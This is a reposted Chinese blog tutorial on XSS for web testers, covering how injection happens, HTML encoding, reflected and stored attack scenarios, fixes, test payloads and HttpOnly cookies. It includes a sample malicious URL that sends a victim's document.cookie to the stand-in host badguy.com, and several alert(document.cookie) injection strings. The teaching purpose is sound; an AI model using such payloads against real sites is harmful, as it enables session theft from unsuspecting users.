`

Web安全性测试之XSS

 
阅读更多

From:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

XSS 全称(Cross Site Scripting) 跨站脚本攻击， 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的.  比如获取用户的Cookie，导航到恶意网站,携带木马等。

作为测试人员，需要了解XSS的原理，攻击场景，如何修复。 才能有效的防止XSS的发生。

测试攻击：Acunetix Web Vulnerability Scanner

阅读目录

  1. XSS 是如何发生的
  2. HTML Encode
  3. XSS 攻击场景
  4. XSS漏洞的修复
  5. 如何测试XSS漏洞
  6. HTML Encode 和URL Encode的区别
  7. 浏览器中的XSS过滤器
  8. ASP.NET中的XSS安全机制

XSS 是如何发生的呢

假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入，如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

 

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力，取决于用户输入了什么样的脚本

 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

 

HTML Encode

XSS之所以会发生， 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号"， “单引号”，“引号” 之类的特殊字符进行编码。

在C#中已经提供了现成的方法，只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  （需要引用System.Web程序集）

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

 

XSS 攻击场景

1. Dom-Based XSS 漏洞 攻击过程如下

Tom 发现了Victim.com中的一个页面有XSS漏洞，

例如: http://victim.com/search.asp?term=apple

服务器中Search.asp 页面的代码大概如下

复制代码
<html>
　　<title></title>
　　<body>
　　　　Results  for  <%Reequest.QueryString("term")%>
　　　　...
　　</body>
</html>
复制代码

Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件，QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL， 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.

 

2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞，攻击者将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下

Alex发现了网站A上有一个XSS 漏洞，该漏洞允许将攻击代码保存在数据库中，

Alex发布了一篇文章，文章中嵌入了恶意JavaScript代码。

其他人如Monica访问这片文章的时候，嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行，其会话cookie或者其他信息将被Alex盗走。

 

Dom-Based XSS漏洞威胁用户个体，而存储式XSS漏洞所威胁的对象将是大量的用户.

 

XSS 漏洞修复

原则：　不相信客户输入的数据
注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如：　年龄的textbox中，只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签， 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

如何测试XSS漏洞

方法一：  查看代码，查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单，以及cookie.  例如在ASP的程序中，通过Request对象获取客户端的变量

<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理， 那么这个变量就存在一个XSS漏洞

 

 方法二：　准备测试脚本，

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

 在网页中的Textbox或者其他能输入数据的地方，输入这些测试脚本， 看能不能弹出对话框，能弹出的话说明存在XSS漏洞

 在URL中查看有那些变量通过URL把值传给Web服务器， 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

 

方法三:  自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单，只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中，我们的XSS测试脚本是否已经注入进去了。

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。 

HTML编码前面已经介绍过了，关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。

例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

 

所谓URL编码就是：　把所有非字母数字字符都将被替换成百分号（%）后跟两位十六进制数，空格则编码为加号（+）

 

在C#中已经提供了现成的方法，只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  （需要引用System.Web程序集）

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS， 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8，IE9，Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

 

 如果需要做测试， 最好使用IE7。

 ASP.NET中的XSS安全机制

 ASP.NET中有防范XSS的机制，对提交的表单会自动检查是否存在XSS，当用户试图输入XSS代码的时候，ASP.NET会抛出一个错误如下图

很多程序员对安全没有概念， 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。

如果想禁止这个安全特性， 可以通过 <%@  Page  validateRequest=“false"  %>

 

 

补充：

1，HttpOnly

String sessionid = request.getSession().getId();
response.setHeader("SET-COOKIE", "JSESSIONID=" + sessionid + "; HttpOnly");

In Tomcat 6 flag useHttpOnly=True in context.xml to force this behaviour for applications[7], including Tomcat-based frameworks like JBoss[8].

Servlet 3.0 (Java EE 6) introduced a standard way to configure HttpOnly attribute for the session cookie, this can be done by applying the following configuration in web.xml

<session-config>
 <cookie-config>
  <http-only>true</http-only>
 </cookie-config>
<session-config>

 目前发现tomcat6的该属性缺省是false,在context.xml里配置，weblogic10.3.1,10.3.2不支持该属性的配置，只能编码写，weblogic10.3.3,

10.3.4,10.3.5支持在weblogic.xml里配置该属性,切缺省值为true

分享到：
| 35岁前成功的12条黄金法则
评论
发表评论

您还没有登录,请您登录后再发表评论

相关推荐

    WEB安全性测试

    Web安全性测试是针对Web应用程序进行的一种关键评估，旨在发现并修复潜在的安全漏洞，防止黑客攻击和数据泄露。由于Web应用在现代社会中的广泛应用，它们成为网络犯罪分子的主要目标。忽视安全测试可能导致用户数据...

    web安全性测试 共8讲

    Web安全性测试是保护在线应用程序免受恶意攻击的关键环节。...通过这个系列的学习，你可以掌握Web安全性测试的基础知识，了解如何识别并防御XSS、SQL注入和DoS等攻击，为构建更安全的Web环境打下坚实基础。

    什么是web安全性测试

    Web安全性测试是针对Web应用程序进行的一种评估过程，旨在发现并修复可能导致数据泄露、系统破坏或非法访问的潜在安全漏洞。这个过程涵盖了多个关键领域，以确保Web应用在运行时能够提供安全的用户体验。 首先，...

    WEB安全性测试测试用例.pdf

    WEB安全性测试是确保网络应用程序安全的重要环节，它涉及到多个方面，包括但不限于SQL注入、跨站脚本（XSS）、跨站请求伪造（CSRF）、不安全的直接对象引用、安全配置错误、敏感数据泄露、不安全的认证机制、未加密...

    Web安全测试测试计划编写.pdf

    "Web安全测试测试计划编写" Web安全测试测试计划编写是指在进行Web应用程序安全测试时，编写的一份详细的测试计划文档。这份文档的目的是为了确保Web应用程序的安全性，保护用户的敏感信息不被非法访问或泄露。下面...

    web安全之XSS攻击及防御pdf

    ### Web安全之XSS攻击及防御 #### 一、XSS基本原理 ##### 1.1 什么是XSS 跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web应用程序安全漏洞，其形成原因主要是由于Web应用程序对用户输入的数据过滤不...

    web端安全性测试

    此外，操作权限的测试也是安全性测试的重要组成部分之一。 #### 二、测试具体内容 - **登录检测**：在执行添加、删除、修改等敏感操作时，系统是否进行了有效的登录检测。 - **退出后操作**：用户退出系统后，之前...

    Web应用安全：简单XSS测试脚本（实验）.docx

    **Web应用安全：XSS（跨站脚本）测试详解** XSS（Cross-Site Scripting）是一种常见的网络攻击方式，攻击者通过注入恶意脚本，...在日常开发中，确保应用的安全性至关重要，防止XSS攻击是保障用户信息安全的重要环节。

    web安全性测试用例基础

    Web安全性测试是确保Web应用程序免受潜在威胁的重要过程。它涉及到多个方面，包括输入验证、输出编码、防止SQL注入、防止跨站脚本攻击（XSS）、防御跨站请求伪造（CSRF）以及识别可能导致Web站点崩溃的问题。下面将...

    Web安全性测试1

    Web安全性测试是确保网站及其应用程序在面临恶意攻击和未经授权访问时能够有效保护用户数据和系统安全的重要环节。以下是一些关键的知识点： 1. **权限验证**：在Web应用中，用户应经过适当的验证才能访问特定资源...

    WEB安全性测试测试用例基础.doc

    【WEB安全性测试测试用例基础】是文档的主题，主要涵盖了Web应用安全的多个关键领域，包括输入验证、防止代码注入、文件上传与下载的安全性、URL访问控制以及UBB代码的处理等方面。以下是对这些知识点的详细说明： ...

    Web-安全渗透全套教程XSS跨.zip

    Web安全渗透是网络安全领域的重要部分，特别是针对Web应用程序的安全测试和防护。XSS（Cross-Site Scripting，跨站脚本攻击）是其中一种常见的安全漏洞，它允许攻击者通过在网页上注入恶意脚本，进而对用户浏览器...

    Web安全测试全解.zip

    【标题】"Web安全测试全解.zip"是一个包含关于Web安全测试综合知识的压缩文件，主要探讨了在互联网环境中如何确保Web应用程序的安全性。Web安全测试是预防和检测潜在漏洞，防止恶意攻击的重要环节。 【描述】"Web...

    WEB安全测试资料汇总.rar

    在IT行业中，Web安全测试是确保网站和应用程序免受恶意攻击和数据泄露的关键环节。"WEB安全测试资料汇总.rar"这个压缩包包含了多种资源，帮助我们深入理解和实践Web安全测试的相关知识。以下是对这些资源的详细解读...

    Web安全测试规范

    Web安全测试规范是针对Web应用程序进行安全性检测的一套详细指导原则，旨在确保Web应用在上线前能够有效防止各种网络安全威胁。本规范由安全解决方案部电信网络与业务安全实验室、软件公司安全TMG以及软件公司测试...

Magicbox
Global site tag (gtag.js) - Google Analytics